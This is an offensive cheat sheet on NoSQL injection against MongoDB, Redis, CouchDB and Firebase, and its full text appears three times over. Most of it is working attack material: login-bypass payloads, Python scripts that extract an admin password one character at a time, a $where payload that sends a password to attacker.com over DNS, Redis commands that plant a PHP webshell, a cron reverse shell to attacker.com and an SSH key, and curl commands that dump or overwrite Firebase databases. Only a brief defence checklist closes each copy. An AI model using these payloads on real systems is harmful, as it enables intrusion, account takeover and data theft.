MongoDB — Operator Injection
MongoDB queries use operators like $gt, $regex, $where. Injecting these can alter query logic.
Authentication Bypass
# Normal login query:
db.users.findOne({username: "admin", password: "secret"})
# Injected via POST body (JSON):
{"username": "admin", "password": {"$gt": ""}}
# $gt: "" means "password greater than empty string" = any password → bypass
{"username": "admin", "password": {"$ne": "wrongpassword"}}
# $ne: not equal → always true for any other value
{"username": {"$gt": ""}, "password": {"$gt": ""}}
# Both bypass → login as first user in DB (often admin)
{"username": "admin", "password": {"$regex": ".*"}}
# Regex matches any string
{"username": {"$in": ["admin", "administrator", "root"]}, "password": {"$gt": ""}}
URL-encoded Form Injection
# If app accepts application/x-www-form-urlencoded:
username=admin&password[$gt]=
username=admin&password[$ne]=invalid
username[$gt]=&password[$gt]=
username=admin&password[$regex]=.*
$where JavaScript Injection
// Vulnerable query:
db.users.find({$where: "this.username == '" + input + "'"})
// Injection (tautology):
' || '1'=='1
' || 1==1 || '1'=='1
// Time-based blind detection:
' || sleep(5000) || '1'=='
'; sleep(5000); var foo='
// Data exfiltration via timing (character-by-character):
' || (this.password[0].charCodeAt(0) == 97 && sleep(5000)) || '1'=='1
' || (this.password.match(/^a/) && sleep(5000)) || '1'=='1
MongoDB — Blind NoSQLi (Operator Based)
Extract data character by character using $regex:
# Test: is the password 8 characters long?
{"password": {"$regex": "^.{8}$"}}
# Test: does password start with 'a'?
{"password": {"$regex": "^a"}}
{"password": {"$regex": "^b"}} # if no match, try next character
# Extract full password:
{"password": {"$regex": "^a.*"}} → match → first char is 'a'
{"password": {"$regex": "^ab.*"}} → match → second char is 'b'
...
# Python automation:
import requests, string
target = "https://target.com/api/login"
charset = string.ascii_lowercase + string.digits + string.punctuation
known = ""
while True:
found = False
for c in charset:
payload = {"username": "admin", "password": {"$regex": f"^{known}{c}.*"}}
r = requests.post(target, json=payload)
if r.status_code == 200 and "welcome" in r.text.lower():
known += c
print(f"Found: {known}")
found = True
break
if not found:
print(f"Complete password: {known}")
break
MongoDB — GraphQL NoSQLi
# If API uses MongoDB under GraphQL:
{
user(username: "admin\", password: {\"$gt\": \"\"}") {
id
email
token
}
}
# Operator injection in GraphQL variables:
query GetUser($username: String, $password: String) {
user(username: $username, password: $password) { token }
}
Variables:
{"username": "admin", "password": {"$ne": "x"}}
MongoDB — JavaScript Injection via $where
// Extract data via error messages or timing:
' || (function(){var d=db.users.findOne({username:"admin"});sleep(d.password.length * 100); return 1;})() || '
// Exfiltrate via DNS (if network access):
' || (function(){var d=db.users.findOne({username:"admin"}); new Mongo().connect(d.password+".attacker.com"); return 1;})() || '
MongoDB — Server-Side JavaScript (mapReduce)
// If app exposes mapReduce:
db.collection.mapReduce(
"function(){emit(this.username, this.password);}",
"function(k,v){return v;}",
{out: {inline: 1}}
)
// Inject into map function:
"function(){emit(this.username, this.password); var x=new Mongo(); x.getDB('test').getCollection('exfil').insert({data:this.password}); emit(1,1);}"
Redis Injection
# If user input is injected into Redis commands:
# CRLF injection to execute arbitrary commands
input = "key\r\nSET malicious_key malicious_value\r\n"
# AUTH bypass (if no password):
redis-cli -h target.com PING # if returns PONG → unauthenticated access
# Config file write → RCE (requires write access):
redis-cli -h target.com
> CONFIG SET dir /var/www/html
> CONFIG SET dbfilename shell.php
> SET x "<?php system($_GET['cmd']); ?>"
> BGSAVE
# Access: http://target.com/shell.php?cmd=id
# Cron-based RCE:
> CONFIG SET dir /var/spool/cron/crontabs
> CONFIG SET dbfilename root
> SET x "\n\n*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1\n\n"
> BGSAVE
# SSH key write:
> CONFIG SET dir /root/.ssh
> CONFIG SET dbfilename authorized_keys
> SET x "\n\nssh-rsa AAAA...attacker_pubkey...\n\n"
> BGSAVE
CouchDB Injection
# Direct API access (no auth by default in old versions):
curl http://target.com:5984/_all_dbs
curl http://target.com:5984/users/_all_docs
curl http://target.com:5984/users/admin
# If app proxies queries:
?q={"selector":{"$or":[{"username":"admin"},{"admin":{"$gt":0}}]}}
# CouchDB show/list function injection:
GET /db/_design/malicious/_show/func/docid
Firebase NoSQLi
# Misconfigured Firebase — open read rules:
curl "https://project.firebaseio.com/.json" # dump entire DB if rules allow
# Test specific paths:
curl "https://project.firebaseio.com/users.json"
curl "https://project.firebaseio.com/admin.json"
# If writeable:
curl -X PUT "https://project.firebaseio.com/users/9999.json" \
-d '{"email":"[email protected]","role":"admin"}'
Real-World Examples
| CVE / Incident | Year | Product | Impact |
|---|---|---|---|
| Multiple Firebase leaks | 2018–2021 | Firebase apps | Open rules → PII exposure (100M+ records across many apps) |
| CVE-2019-7612 | 2019 | MongoDB Compass | NoSQLi via $where in aggregation |
| Uber MongoDB | 2022 | Uber (partner API) | NoSQL operator injection → partner data exposure |
| CVE-2020-35736 | 2020 | GoCD MongoDB | Unauthenticated NoSQLi → admin account creation |
| CouchDB CVE-2017-12635 | 2017 | Apache CouchDB | Privilege escalation via JSON document injection |
Example: MongoDB Auth Bypass — POST Body
# Login request normally:
curl -X POST https://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"secret"}'
# NoSQLi bypass:
curl -X POST https://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":{"$gt":""}}'
# Response: 200 OK + JWT token for admin account
Example: Blind NoSQLi — Extract Admin Password
import requests, string
url = "https://target.com/api/login"
headers = {"Content-Type": "application/json"}
password = ""
chars = string.ascii_letters + string.digits + "@#$!-_"
for position in range(1, 50):
for char in chars:
payload = {
"username": "admin",
"password": {"$regex": f"^{password}{char}"}
}
r = requests.post(url, json=payload, headers=headers)
if "success" in r.text or r.status_code == 200:
password += char
print(f"[+] Password so far: {password}")
break
else:
print(f"[!] Password complete: {password}")
break
Example: Redis Unauthenticated → PHP Webshell
# Connect to exposed Redis
redis-cli -h target.com -p 6379
# Check access
127.0.0.1:6379> PING
PONG ← unauthenticated!
# Write PHP shell to web root
127.0.0.1:6379> CONFIG SET dir /var/www/html
OK
127.0.0.1:6379> CONFIG SET dbfilename shell.php
OK
127.0.0.1:6379> SET payload "<?php system(\$_GET['cmd']); ?>"
OK
127.0.0.1:6379> BGSAVE
Background saving started
# Access shell
curl "http://target.com/shell.php?cmd=id"
# Output: uid=33(www-data)
Example: Firebase Open Rules
# Scan for misconfigured Firebase databases
# Target: project-id.firebaseio.com
curl -s "https://vulnerable-app.firebaseio.com/.json" | python3 -m json.tool
# Response: Full database dump
{
"users": {
"uid123": {"email": "[email protected]", "password": "plaintext!"},
"uid456": {"email": "[email protected]", "role": "admin"}
},
"orders": {...},
"messages": {...}
}
Defense Checklist
- Use parameterized queries / ODM methods — never concatenate user input into queries
- Disable MongoDB
$whereoperator (setjavascriptEnabled: false) - Apply input validation — reject objects/arrays where strings are expected
- Require authentication on Redis, CouchDB, Firebase
- Set restrictive Firebase Security Rules (
".read": falseby default) - Monitor for unusual query patterns (heavy
$regex,$where,$gt: "")
References
MongoDB — Operator Injection
MongoDB queries use operators like $gt, $regex, $where. Injecting these can alter query logic.
Authentication Bypass
# Normal login query:
db.users.findOne({username: "admin", password: "secret"})
# Injected via POST body (JSON):
{"username": "admin", "password": {"$gt": ""}}
# $gt: "" means "password greater than empty string" = any password → bypass
{"username": "admin", "password": {"$ne": "wrongpassword"}}
# $ne: not equal → always true for any other value
{"username": {"$gt": ""}, "password": {"$gt": ""}}
# Both bypass → login as first user in DB (often admin)
{"username": "admin", "password": {"$regex": ".*"}}
# Regex matches any string
{"username": {"$in": ["admin", "administrator", "root"]}, "password": {"$gt": ""}}
URL-encoded Form Injection
# If app accepts application/x-www-form-urlencoded:
username=admin&password[$gt]=
username=admin&password[$ne]=invalid
username[$gt]=&password[$gt]=
username=admin&password[$regex]=.*
$where JavaScript Injection
// Vulnerable query:
db.users.find({$where: "this.username == '" + input + "'"})
// Injection (tautology):
' || '1'=='1
' || 1==1 || '1'=='1
// Time-based blind detection:
' || sleep(5000) || '1'=='
'; sleep(5000); var foo='
// Data exfiltration via timing (character-by-character):
' || (this.password[0].charCodeAt(0) == 97 && sleep(5000)) || '1'=='1
' || (this.password.match(/^a/) && sleep(5000)) || '1'=='1
MongoDB — Blind NoSQLi (Operator Based)
Extract data character by character using $regex:
# Test: is the password 8 characters long?
{"password": {"$regex": "^.{8}$"}}
# Test: does password start with 'a'?
{"password": {"$regex": "^a"}}
{"password": {"$regex": "^b"}} # if no match, try next character
# Extract full password:
{"password": {"$regex": "^a.*"}} → match → first char is 'a'
{"password": {"$regex": "^ab.*"}} → match → second char is 'b'
...
# Python automation:
import requests, string
target = "https://target.com/api/login"
charset = string.ascii_lowercase + string.digits + string.punctuation
known = ""
while True:
found = False
for c in charset:
payload = {"username": "admin", "password": {"$regex": f"^{known}{c}.*"}}
r = requests.post(target, json=payload)
if r.status_code == 200 and "welcome" in r.text.lower():
known += c
print(f"Found: {known}")
found = True
break
if not found:
print(f"Complete password: {known}")
break
MongoDB — GraphQL NoSQLi
# If API uses MongoDB under GraphQL:
{
user(username: "admin\", password: {\"$gt\": \"\"}") {
id
email
token
}
}
# Operator injection in GraphQL variables:
query GetUser($username: String, $password: String) {
user(username: $username, password: $password) { token }
}
Variables:
{"username": "admin", "password": {"$ne": "x"}}
MongoDB — JavaScript Injection via $where
// Extract data via error messages or timing:
' || (function(){var d=db.users.findOne({username:"admin"});sleep(d.password.length * 100); return 1;})() || '
// Exfiltrate via DNS (if network access):
' || (function(){var d=db.users.findOne({username:"admin"}); new Mongo().connect(d.password+".attacker.com"); return 1;})() || '
MongoDB — Server-Side JavaScript (mapReduce)
// If app exposes mapReduce:
db.collection.mapReduce(
"function(){emit(this.username, this.password);}",
"function(k,v){return v;}",
{out: {inline: 1}}
)
// Inject into map function:
"function(){emit(this.username, this.password); var x=new Mongo(); x.getDB('test').getCollection('exfil').insert({data:this.password}); emit(1,1);}"
Redis Injection
# If user input is injected into Redis commands:
# CRLF injection to execute arbitrary commands
input = "key\r\nSET malicious_key malicious_value\r\n"
# AUTH bypass (if no password):
redis-cli -h target.com PING # if returns PONG → unauthenticated access
# Config file write → RCE (requires write access):
redis-cli -h target.com
> CONFIG SET dir /var/www/html
> CONFIG SET dbfilename shell.php
> SET x "<?php system($_GET['cmd']); ?>"
> BGSAVE
# Access: http://target.com/shell.php?cmd=id
# Cron-based RCE:
> CONFIG SET dir /var/spool/cron/crontabs
> CONFIG SET dbfilename root
> SET x "\n\n*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1\n\n"
> BGSAVE
# SSH key write:
> CONFIG SET dir /root/.ssh
> CONFIG SET dbfilename authorized_keys
> SET x "\n\nssh-rsa AAAA...attacker_pubkey...\n\n"
> BGSAVE
CouchDB Injection
# Direct API access (no auth by default in old versions):
curl http://target.com:5984/_all_dbs
curl http://target.com:5984/users/_all_docs
curl http://target.com:5984/users/admin
# If app proxies queries:
?q={"selector":{"$or":[{"username":"admin"},{"admin":{"$gt":0}}]}}
# CouchDB show/list function injection:
GET /db/_design/malicious/_show/func/docid
Firebase NoSQLi
# Misconfigured Firebase — open read rules:
curl "https://project.firebaseio.com/.json" # dump entire DB if rules allow
# Test specific paths:
curl "https://project.firebaseio.com/users.json"
curl "https://project.firebaseio.com/admin.json"
# If writeable:
curl -X PUT "https://project.firebaseio.com/users/9999.json" \
-d '{"email":"[email protected]","role":"admin"}'
Real-World Examples
| CVE / Incident | Year | Product | Impact |
|---|---|---|---|
| Multiple Firebase leaks | 2018–2021 | Firebase apps | Open rules → PII exposure (100M+ records across many apps) |
| CVE-2019-7612 | 2019 | MongoDB Compass | NoSQLi via $where in aggregation |
| Uber MongoDB | 2022 | Uber (partner API) | NoSQL operator injection → partner data exposure |
| CVE-2020-35736 | 2020 | GoCD MongoDB | Unauthenticated NoSQLi → admin account creation |
| CouchDB CVE-2017-12635 | 2017 | Apache CouchDB | Privilege escalation via JSON document injection |
Example: MongoDB Auth Bypass — POST Body
# Login request normally:
curl -X POST https://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"secret"}'
# NoSQLi bypass:
curl -X POST https://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":{"$gt":""}}'
# Response: 200 OK + JWT token for admin account
Example: Blind NoSQLi — Extract Admin Password
import requests, string
url = "https://target.com/api/login"
headers = {"Content-Type": "application/json"}
password = ""
chars = string.ascii_letters + string.digits + "@#$!-_"
for position in range(1, 50):
for char in chars:
payload = {
"username": "admin",
"password": {"$regex": f"^{password}{char}"}
}
r = requests.post(url, json=payload, headers=headers)
if "success" in r.text or r.status_code == 200:
password += char
print(f"[+] Password so far: {password}")
break
else:
print(f"[!] Password complete: {password}")
break
Example: Redis Unauthenticated → PHP Webshell
# Connect to exposed Redis
redis-cli -h target.com -p 6379
# Check access
127.0.0.1:6379> PING
PONG ← unauthenticated!
# Write PHP shell to web root
127.0.0.1:6379> CONFIG SET dir /var/www/html
OK
127.0.0.1:6379> CONFIG SET dbfilename shell.php
OK
127.0.0.1:6379> SET payload "<?php system(\$_GET['cmd']); ?>"
OK
127.0.0.1:6379> BGSAVE
Background saving started
# Access shell
curl "http://target.com/shell.php?cmd=id"
# Output: uid=33(www-data)
Example: Firebase Open Rules
# Scan for misconfigured Firebase databases
# Target: project-id.firebaseio.com
curl -s "https://vulnerable-app.firebaseio.com/.json" | python3 -m json.tool
# Response: Full database dump
{
"users": {
"uid123": {"email": "[email protected]", "password": "plaintext!"},
"uid456": {"email": "[email protected]", "role": "admin"}
},
"orders": {...},
"messages": {...}
}
Defense Checklist
- Use parameterized queries / ODM methods — never concatenate user input into queries
- Disable MongoDB
$whereoperator (setjavascriptEnabled: false) - Apply input validation — reject objects/arrays where strings are expected
- Require authentication on Redis, CouchDB, Firebase
- Set restrictive Firebase Security Rules (
".read": falseby default) - Monitor for unusual query patterns (heavy
$regex,$where,$gt: "")
References
MongoDB — Operator Injection
MongoDB queries use operators like $gt, $regex, $where. Injecting these can alter query logic.
Authentication Bypass
# Normal login query:
db.users.findOne({username: "admin", password: "secret"})
# Injected via POST body (JSON):
{"username": "admin", "password": {"$gt": ""}}
# $gt: "" means "password greater than empty string" = any password → bypass
{"username": "admin", "password": {"$ne": "wrongpassword"}}
# $ne: not equal → always true for any other value
{"username": {"$gt": ""}, "password": {"$gt": ""}}
# Both bypass → login as first user in DB (often admin)
{"username": "admin", "password": {"$regex": ".*"}}
# Regex matches any string
{"username": {"$in": ["admin", "administrator", "root"]}, "password": {"$gt": ""}}
URL-encoded Form Injection
# If app accepts application/x-www-form-urlencoded:
username=admin&password[$gt]=
username=admin&password[$ne]=invalid
username[$gt]=&password[$gt]=
username=admin&password[$regex]=.*
$where JavaScript Injection
// Vulnerable query:
db.users.find({$where: "this.username == '" + input + "'"})
// Injection (tautology):
' || '1'=='1
' || 1==1 || '1'=='1
// Time-based blind detection:
' || sleep(5000) || '1'=='
'; sleep(5000); var foo='
// Data exfiltration via timing (character-by-character):
' || (this.password[0].charCodeAt(0) == 97 && sleep(5000)) || '1'=='1
' || (this.password.match(/^a/) && sleep(5000)) || '1'=='1
MongoDB — Blind NoSQLi (Operator Based)
Extract data character by character using $regex:
# Test: is the password 8 characters long?
{"password": {"$regex": "^.{8}$"}}
# Test: does password start with 'a'?
{"password": {"$regex": "^a"}}
{"password": {"$regex": "^b"}} # if no match, try next character
# Extract full password:
{"password": {"$regex": "^a.*"}} → match → first char is 'a'
{"password": {"$regex": "^ab.*"}} → match → second char is 'b'
...
# Python automation:
import requests, string
target = "https://target.com/api/login"
charset = string.ascii_lowercase + string.digits + string.punctuation
known = ""
while True:
found = False
for c in charset:
payload = {"username": "admin", "password": {"$regex": f"^{known}{c}.*"}}
r = requests.post(target, json=payload)
if r.status_code == 200 and "welcome" in r.text.lower():
known += c
print(f"Found: {known}")
found = True
break
if not found:
print(f"Complete password: {known}")
break
MongoDB — GraphQL NoSQLi
# If API uses MongoDB under GraphQL:
{
user(username: "admin\", password: {\"$gt\": \"\"}") {
id
email
token
}
}
# Operator injection in GraphQL variables:
query GetUser($username: String, $password: String) {
user(username: $username, password: $password) { token }
}
Variables:
{"username": "admin", "password": {"$ne": "x"}}
MongoDB — JavaScript Injection via $where
// Extract data via error messages or timing:
' || (function(){var d=db.users.findOne({username:"admin"});sleep(d.password.length * 100); return 1;})() || '
// Exfiltrate via DNS (if network access):
' || (function(){var d=db.users.findOne({username:"admin"}); new Mongo().connect(d.password+".attacker.com"); return 1;})() || '
MongoDB — Server-Side JavaScript (mapReduce)
// If app exposes mapReduce:
db.collection.mapReduce(
"function(){emit(this.username, this.password);}",
"function(k,v){return v;}",
{out: {inline: 1}}
)
// Inject into map function:
"function(){emit(this.username, this.password); var x=new Mongo(); x.getDB('test').getCollection('exfil').insert({data:this.password}); emit(1,1);}"
Redis Injection
# If user input is injected into Redis commands:
# CRLF injection to execute arbitrary commands
input = "key\r\nSET malicious_key malicious_value\r\n"
# AUTH bypass (if no password):
redis-cli -h target.com PING # if returns PONG → unauthenticated access
# Config file write → RCE (requires write access):
redis-cli -h target.com
> CONFIG SET dir /var/www/html
> CONFIG SET dbfilename shell.php
> SET x "<?php system($_GET['cmd']); ?>"
> BGSAVE
# Access: http://target.com/shell.php?cmd=id
# Cron-based RCE:
> CONFIG SET dir /var/spool/cron/crontabs
> CONFIG SET dbfilename root
> SET x "\n\n*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1\n\n"
> BGSAVE
# SSH key write:
> CONFIG SET dir /root/.ssh
> CONFIG SET dbfilename authorized_keys
> SET x "\n\nssh-rsa AAAA...attacker_pubkey...\n\n"
> BGSAVE
CouchDB Injection
# Direct API access (no auth by default in old versions):
curl http://target.com:5984/_all_dbs
curl http://target.com:5984/users/_all_docs
curl http://target.com:5984/users/admin
# If app proxies queries:
?q={"selector":{"$or":[{"username":"admin"},{"admin":{"$gt":0}}]}}
# CouchDB show/list function injection:
GET /db/_design/malicious/_show/func/docid
Firebase NoSQLi
# Misconfigured Firebase — open read rules:
curl "https://project.firebaseio.com/.json" # dump entire DB if rules allow
# Test specific paths:
curl "https://project.firebaseio.com/users.json"
curl "https://project.firebaseio.com/admin.json"
# If writeable:
curl -X PUT "https://project.firebaseio.com/users/9999.json" \
-d '{"email":"[email protected]","role":"admin"}'
Real-World Examples
| CVE / Incident | Year | Product | Impact |
|---|---|---|---|
| Multiple Firebase leaks | 2018–2021 | Firebase apps | Open rules → PII exposure (100M+ records across many apps) |
| CVE-2019-7612 | 2019 | MongoDB Compass | NoSQLi via $where in aggregation |
| Uber MongoDB | 2022 | Uber (partner API) | NoSQL operator injection → partner data exposure |
| CVE-2020-35736 | 2020 | GoCD MongoDB | Unauthenticated NoSQLi → admin account creation |
| CouchDB CVE-2017-12635 | 2017 | Apache CouchDB | Privilege escalation via JSON document injection |
Example: MongoDB Auth Bypass — POST Body
# Login request normally:
curl -X POST https://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"secret"}'
# NoSQLi bypass:
curl -X POST https://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":{"$gt":""}}'
# Response: 200 OK + JWT token for admin account
Example: Blind NoSQLi — Extract Admin Password
import requests, string
url = "https://target.com/api/login"
headers = {"Content-Type": "application/json"}
password = ""
chars = string.ascii_letters + string.digits + "@#$!-_"
for position in range(1, 50):
for char in chars:
payload = {
"username": "admin",
"password": {"$regex": f"^{password}{char}"}
}
r = requests.post(url, json=payload, headers=headers)
if "success" in r.text or r.status_code == 200:
password += char
print(f"[+] Password so far: {password}")
break
else:
print(f"[!] Password complete: {password}")
break
Example: Redis Unauthenticated → PHP Webshell
# Connect to exposed Redis
redis-cli -h target.com -p 6379
# Check access
127.0.0.1:6379> PING
PONG ← unauthenticated!
# Write PHP shell to web root
127.0.0.1:6379> CONFIG SET dir /var/www/html
OK
127.0.0.1:6379> CONFIG SET dbfilename shell.php
OK
127.0.0.1:6379> SET payload "<?php system(\$_GET['cmd']); ?>"
OK
127.0.0.1:6379> BGSAVE
Background saving started
# Access shell
curl "http://target.com/shell.php?cmd=id"
# Output: uid=33(www-data)
Example: Firebase Open Rules
# Scan for misconfigured Firebase databases
# Target: project-id.firebaseio.com
curl -s "https://vulnerable-app.firebaseio.com/.json" | python3 -m json.tool
# Response: Full database dump
{
"users": {
"uid123": {"email": "[email protected]", "password": "plaintext!"},
"uid456": {"email": "[email protected]", "role": "admin"}
},
"orders": {...},
"messages": {...}
}
Defense Checklist
- Use parameterized queries / ODM methods — never concatenate user input into queries
- Disable MongoDB
$whereoperator (setjavascriptEnabled: false) - Apply input validation — reject objects/arrays where strings are expected
- Require authentication on Redis, CouchDB, Firebase
- Set restrictive Firebase Security Rules (
".read": falseby default) - Monitor for unusual query patterns (heavy
$regex,$where,$gt: "")